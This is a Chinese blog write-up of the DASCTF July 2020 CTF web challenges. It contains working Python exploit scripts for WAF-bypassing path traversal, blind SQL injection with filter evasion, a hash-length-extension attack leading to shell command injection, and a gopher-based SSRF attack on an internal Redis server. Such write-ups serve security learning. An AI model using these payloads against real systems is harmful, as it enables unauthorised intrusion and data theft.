[DASCTF 2020.7]Write up

Ezfileinclude

文件包含,但是会获取当前时间,时间不对就返回错误

测了一会儿 发现如果../会被waf,但是1sd/../不会

所以直接读flag

import time
import requests
import base64
files = base64.b64encode("ha1c9on/../../../../../flag".encode('utf-8'))
filename = str(files, encoding="utf-8")
print(filename)
time = int(time.time())
url = "http://183.129.189.60:10009/image.php?t={}&f={}".format(time,filename)
r = requests.get(url)
print(r.text)

SQLi

其实是一道mysql的题过滤preg_match(“/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i”, $id);,也让人以为是sqlite,但是读一下version就知道是mysql了

过滤空格用/**/

题目过滤了or和,无法使用Information_Schema.Tables。
之前常用的 innodb_table_stats 和 innodb_index_stats 也无法使用。

过滤information_schema和stat导致sys.schema_table_statistics不能用,用sys.x$schema_flattened_keys

import requests
import string
url = 'http://183.129.189.60:10004/?id='
flag = ''
for Len in range(1,50):
    max = 127
    min = 33
    while max >= min:
        mid = (max + min) // 2
        payload1 = 'select/**/group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys'
        payload = "1'/(ascii(substr(({}),{},1))>{})%23".format(payload1,Len,mid)
        #print(payload)
        r = requests.get(url+payload)
        #print(r.text)
        if 'admin' in r.text:
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            flag += chr(mid)
            print("成功:{} 长度:{}".format(flag, len(flag)))
            break
flllaaaggg表
import requests
import string
flag=''
url = 'http://183.129.189.60:10004/?id='
for i in range(50):
    for j in string.printable:
        payload = "1'/((select/**/1,'flag{"+str(flag)+str(j)+"')>(select/**/*/**/from/**/flllaaaggg))%23"
        print(payload)
        r = requests.get(url+payload)
        if 'admin' in r.text:
            flag+=chr(ord(j)-1)
            print(flag)
            break
#flag 60325f20416b40b11b6049734bad11cf

出flag。中间到有一点需要手动修正一下flag

和ezsqli差不多

Homebrew Dubbo

思路

打开是一个文件上传界面,上传后会返回文件下载的token,经过测试是一个java的页面。

我尝试了使用软连接上传一个文件,发现不可用。

同一个文件上传返回的token还不一样

token中带有的两端数字暂时不知道什么含义,并且上传相同文件发现还会变

{“sign”:”N2I5NWFlZmNjYjBkNTNlM2QwMGRjYWUxYTlkMDJhNDg=”,”id”:”M2EwOTJiMjctNGY1Zi00ZTFjLWEzYmYtZTM5ZTJjYTU0NTQy”}

然后我注意到JS里注意到了一个接口/api/list/

http://183.129.189.60:10003/api/upload/list

发现可以下载文件

通过某个token我拿到了题目源码

发现题目返回的全部是随机数,不可控?

之后审计我注意到了内网有redis

 

猜测可能是用ssrf打内网redis 但是java ssrf能用gophar打吗

之后我又发现给了file.sign.key

跟进后

没有想到什么利用点

之后我注意到了shell类

目前我的思路感觉是用文件中给的key去伪造命令,通过更改token得到shell去打redis,但是好像我自己构造有问题没成功?


预期解

/**/靶机不通外网,所以弹不了shell

预期思路是执行命令,打内网redis,带出数据,具体解法如下

首先拿到token解码后

{“sign”:”N2I5NWFlZmNjYjBkNTNlM2QwMGRjYWUxYTlkMDJhNDg=”,”id”:”M2EwOTJiMjctNGY1Zi00ZTFjLWEzYmYtZTM5ZTJjYTU0NTQy”}

发现是前面sgin,后面uuid。

然后我注意到JS里注意到了一个接口/api/list/

http://183.129.189.60:10003/api/upload/list

发现可以下载文件

通过某个token我拿到了题目源码

拿到源码后进行审计

看到这里read方法的ID直接被拼接命令,再次发现id可控,所以可以利用生成恶意ID来执行任意命令

然后审计命令发现他

shellUtil.exec("cd " + uploadFolder + " && unzip " + id + ".zip -d " + tmpPath + "/" + dictName + "/");

其实可以很明显的注意readfile的时候首先解压了zip 所以猜测其后端上传的文件都打包成了zip

从这里也可以明显看出上传的文件被打包成了zip,readfile的时候在将其进行解压

继续审计发现在application-prod.properties中。redis的密码被隐藏了

之后我发现

所以目前思路就很清晰了 需要伪造ID,执行任意命令,拿到redis密码,ssrf打内网redis拿flag

命令执行

查阅资料发现token的返回值很像hashpump的格式。 所以用hash拓展攻击

首先我们随意上传一个文件,拿到token,使用python or kali自带的hashpump生成恶意payload,设置json格式访问

首先使用hashpump拼接命令。

这里靶机不通外网,所以不能弹shell,页面没有回显,所以需要把结果映射到本地文件

需要注意的是,我们执行完成命令后也需要将结果在本地生成并打包成zip,不然会无法利用readfile拿到文件

    result = hashpumpy.hashpump(sign, id,
                                ';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',
                                32)
    print(result)

我们可以通过如下python代码得到我们的payload,这其中filename是随意 command写入我们的恶意命令

得到新的id和sign之后书写出成json模样。访问/upload?token=’you payload’。这时后台就会执行我们的恶意payload,并将结果写入文件

再次访问list接口查找相同file name的id即可下载

当然用python遍历更快一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import base64
import json
import sys
import hashpumpy
import requests
 
url = 'http://183.129.189.60:10017/'
 
command = sys.argv[1]
 
def uploadTestFile():
    r = requests.post(url+"/api/upload",
                      files=[('file', ('test.txt', 'ha1c9on'))])
    return r.json()['data']['token']
 
def rceToGetFile(token):
    filename = 'ha1c9on'
    data = json.loads(base64.b64decode(token))
    id = base64.b64decode(data['id'])
    sign = base64.b64decode(data['sign'])
    result = hashpumpy.hashpump(sign, id,
                                ';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',
                                32)
    print(result)
    data['id'] = base64.b64encode(result[1]).decode()
    data['sign'] = base64.b64encode(result[0].encode()).decode()
 
    token = base64.b64encode(json.dumps(data).encode())
    #print(token)
    try:
        requests.get(url+'/api/upload', params={'token': token}, timeout=5)
    except:
        pass
    return filename
 
def getTargetFileToken(filename):
    r = requests.get(url + "/api/upload/list")
    data = r.json()['data']
    for item in data:
        if item['id'] == filename:
            return item['token']
    return None
 
def getFlag(token):
    r = requests.get(url + "/api/upload", params={'token': token})
 
    origin_text = r.text
    return origin_text
 
if __name__ == '__main__':
    print("[*]上传文件")
    token = uploadTestFile()
    print("[+]Token:" + token)
    filename = rceToGetFile(token)
    print("[*]从文件列表中获取该文件的 Token:")
    test_token = getTargetFileToken(filename)
    print("[+]Token 获取成功,Token:" + test_token)
    test = getFlag(test_token)
    print("[+]结果:\n" + test)

可以成功执行命令后一切都逐渐容易了起来

SSRF打Redis

拿Redis密码

可以执行任意命令后,我们就需要拿到redis密码了

可以很明显的发现了其服务的jar地址。jar的原理就是zip,所以拷贝到tmp解压

python3 test.py 'mkdir /tmp/ha1c9on/ && unzip -d /tmp/ha1c9on/ /usr/bin/flag_provider-0.0.1-SNAPSHOT.jar'

拿到密码

可以知道,打Redis一般使用了gopher github上只能生成phpshell或者反弹shell。而靶机不通外网。需要自己改造gophper-redis-auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import urllib
 
class colors:
    reset='\033[0m'
    red='\033[31m'
    green='\033[32m'
    orange='\033[33m'
    blue='\033[34m'
 
print colors.green + """
 
  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\\\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/
""" + "\n\t\t" + colors.blue + "Modified: " + colors.orange + "$glzjin$" + "\n" + colors.reset
 
 
 
def Redis():
    def get_Redis_ReverseShell():
 
        password = "glzjin_wants_a_girl_friend"
        server = "redis"
# 4 #1
        payload = """*2\r
$3\r
get\r
$4\r
flag\r
*1\r
$4\r
quit\r
 
"""
 
 
        authPrePayload = '''*2\r
$4\r
AUTH\r
$''' + str(len(password)) + '''\r
'''+  str(password) +  '''\r
'''
        if password != '':
            payload  = authPrePayload + payload
        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
        print "\033[93m" +"\nYour gopher link is ready to get Salve connect: \n"+ "\033[0m"
        print "\033[04m" +"gopher://" + server + ":6379/_" + finalpayload+ "\033[0m"
 
 
    get_Redis_ReverseShell()
 
 
 
if __name__ == '__main__':
    Redis()

 

获取到keys后直接获取flag的键值

赵总tql ORZ

1 thought on “[DASCTF 2020.7]Write up

  1. Pingback: 安恒七月赛 Web 复现 – LND_Web

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud